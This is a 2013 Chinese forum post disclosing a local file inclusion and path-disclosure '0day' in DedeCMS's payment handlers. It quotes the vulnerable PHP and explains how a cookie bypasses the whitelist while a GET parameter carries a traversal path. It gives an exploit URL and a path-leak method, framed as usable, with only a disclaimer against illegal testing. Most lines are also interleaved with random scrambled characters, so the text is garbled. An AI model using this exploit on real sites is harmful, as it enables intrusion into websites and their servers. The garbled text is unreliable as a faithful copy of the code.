找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2487|回复: 0
打印 上一主题 下一主题

dedecms本地文件包含及物理路径泄露0day

[复制链接]
跳转到指定楼层
楼主
发表于 2013-4-4 17:25:17 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
晚餐吃撑了,瞄下代码消化消化。最近Php0day群里的兄弟都在讨论dede洞多,赶紧下了套,用editplus搜索了几个关键字,果然发现些问题。(话说平时写代码也喜欢用editplus,小巧方便多年习惯)' ~8 S! e+ T3 N. Y- Y6 k3 [

" ^! M/ h" P5 k' ?* W: Q4 L0 z出现漏洞的两个文件为:* c& o. L/ H+ k/ y6 X* e: L
Include/payment/alipay.php
- B+ a) I5 o& z& i0 |* e  WInclude/payment/yeepay.php
2 w- n5 c+ o4 {1 y6 O# V8 J0 i7 r漏洞均出现在respond方法里,估计这两个文件是临时工写的。  J6 X! [# i( L' v7 y* V

) \+ X2 r( s, Z+ J" \$ u9 f3 \' m% eInclude/payment/alipay.php7 d1 b; m, G, k6 m
: k3 W4 `6 C, g8 M8 O
......( K; S; b6 m. @: z) ~
   function respond()
: @) J& q7 Y# M$ c3 u    {
4 H" v+ J0 Q( t; ]        if (!empty($_POST)); A8 s4 ^4 X) a
        {
/ E7 B  a5 p/ o  m) I- R( |# C            foreach($_POST as $key => $data)1 r  x1 A0 D0 O# e) w
            {+ a$ b4 \7 }* [$ W5 Y
                $_GET[$key] = $data;
: O) A3 k8 f7 `            }" d0 u+ c( ~: I$ n4 L' {
        }% b- v2 T# @! y
        /* 引入配置文件 */
" E+ A7 i& J4 H8 R4 M        require_once DEDEDATA.'/payment/'.$_GET['code'].'.php';
6 Q6 w) H  V/ E/ y...... 1 r; L  c6 l& }7 k' A. g. E
; Y" ^- N  D: a$ z% _
! v" u, w; X, p" [$ C
大概在133行左右,$_GET[‘code’]没有经过任何判断和过滤。% O0 }8 C$ J! K

1 ?4 t% u0 s8 c, O4 C9 WInclude/payment/yeepay.php; ]3 t5 j7 k) {/ D* Z( b5 }) q

7 r' q% h/ a' t" F  a  l/ O) }1 q+ w 9 |. E( \0 `5 ?$ j# m
2 O6 \- H# g1 W
......
3 e  l; c# D5 L& g    function respond()
8 I1 A0 [3 [! m: l: }, x    {0 x* L! K" S( `* z9 _. J) b0 w
- t8 q; m) a1 D5 d
        /* 引入配置文件 */
2 d9 t% ^3 O! K. w# d* c' ^        require_once DEDEDATA.'/payment/'.$_REQUEST['code'].'.php';, U- K2 a- L4 P9 O0 b2 x7 ?
7 |  f8 j* i7 g, `- `* J
        $p1_MerId = trim($payment['yp_account']);
2 C% p4 y/ a/ S( j; f) l% @8 t        $merchantKey = trim($payment['yp_key']);) x, I' L9 P( M- r
...... " Y: [% Q8 m- ~- T: i: h$ t. }0 j' G
/ c' @  U" q* S1 l! g  }
0 @% X5 _1 j, y+ v9 T

  W$ ~/ |5 ~2 m, M/ I
, B& u1 G1 ?/ H) M$ k! _: [大概在145行左右,$_REQUEST['code']没有经过任何判断和过滤。7 T) y! u$ R. ~$ i5 e3 C4 ~! U( `0 N' U

# d: [* Q6 l1 O  E- X: J这两个方法在plus/carbuyaction.php文件调用。
  h6 |' F( r# K7 A( m3 B% j$ s7 h! N$ q
plus/carbuyaction.php
: z0 G7 ?! x6 V2 R: S3 l4 e
. a; y7 \5 Y+ [- H+ J......
4 u$ t6 G$ L7 b* t, B2 c} else if ($dopost == 'return') {% i" r' w" W5 O7 M9 x! T
    $write_list = array('alipay', 'bank', 'cod', 'yeepay');
3 [$ j3 J6 z( ?& ^    if (in_array($code, $write_list))+ z4 H  c% \- I
    {! A* m5 f, o( X. V3 Q% L1 @/ g
        require_once DEDEINC.'/payment/'.$code.'.php';# \* P' P# K" X* k+ G
        $pay = new $code;
: I, e# [7 T0 I8 m        $msg=$pay->respond();" \& L2 r# K7 s3 C& x! f8 K- s) g
        ShowMsg($msg, "javascript:;", 0, 3000);, V* A8 j- r3 e0 H, e! u6 @9 L" \
        exit();  8 p' [  B2 g5 \7 f6 C7 o
    } else {
* ^; B) ~0 M: d) W; o9 `, |5 L        exit('Error:File Type Can\'t Recognized!');7 Z1 [4 ^0 M' N2 B# A  A# v& U
    }
: ~7 O/ l6 a  W$ E8 ?}
" ^; R! S' M- p# R......
- T) k- Z. t; h. ?
; }: y$ h% b  u! S/ N( V4 I7 O- V7 m; W* a
; f8 W# u! c3 F/ }8 b' |" b' P" e" h0 b

4 M' j7 y) I9 }7 \
# t& b( a! }" U! d
7 a* x* N/ O& ?2 K大概在334行,当$dopost等于return的时候就开始进入过程了。熟悉dedecms朋友都知道在include/common.inc.php使用了一种类似register_globals的机制。/ i2 l( P- d8 Z5 a
所以$_GET['code']或$_REQUEST['code']会变成$code,而$code是经过判断的,值必须在$write_list数组以内这样才能继续后面的流程调用respond方法触发漏洞。这样的话貌似就无法控制$_GET['code']为任意值了。
' }  @2 w6 Q7 Y$ B
8 e) _& [' S, Y& }7 _3 X回到include/common.inc.php来看看他的机制。) T& j3 U* [. E4 \: U$ |+ Z

; m8 Y5 _  a. f' Q8 v7 W$ l
3 y1 B9 ]& v  S1 B% n5 b' I! G- Y) ]3 |3 h0 X
......1 @  U6 L5 R7 S2 F
foreach(Array('_GET','_POST','_COOKIE') as $_request)
# J9 \2 K/ _! f* K! C: ]# l3 \! S{% j9 R: G1 T3 u* {; v. v
        foreach($$_request as $_k => $_v) * Y' O& ]+ d% q  [
        {
- _  _" Y. ]- L0 Z) f( M                if($_k == 'nvarname') ${$_k} = $_v;* d/ F. g( v) G- U% f" O2 r7 O
                else ${$_k} = _RunMagicQuotes($_v);2 J5 [" N5 ?. K1 a6 e
        }
) Q3 H* J" v3 d/ ]: I6 l) R}
! |. j, ?/ z7 H; V% W1 A6 c: v......
" }: x% q. m) Q" L2 d# q大概在79行,可以看到他是从$_GET,$_POST,$_COOKIE这三个全局变量里取值的。嘿嘿,细心点就发现了吧。从他这个优先机制来讲他是先从get再从post再从cookie也就是说最终$code会是以$_COOKIE[‘code’]的值为准,而我们要控制的是$_GET[‘code’]或$_REQUEST['code']只须要$code的值在$write_list数组以内就行了。Exp:http://www.php0day.com/plus/carb ... amp;code=../../tags上面的Exp是包含根目录下的tags.php文件包含其他后缀请自行构造截断,使用exp测试时须要自己添加一个code等于alipay或yeepay的cookie。暴路径:
: ^$ q' X% w3 a# F0 |/ m! m- x由于bank和cod这两个文件并没有respond方法,所以如果code等于bank或者cod时将会暴错泄露路径。注:请勿非法测试,产生后果与本人无关。
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表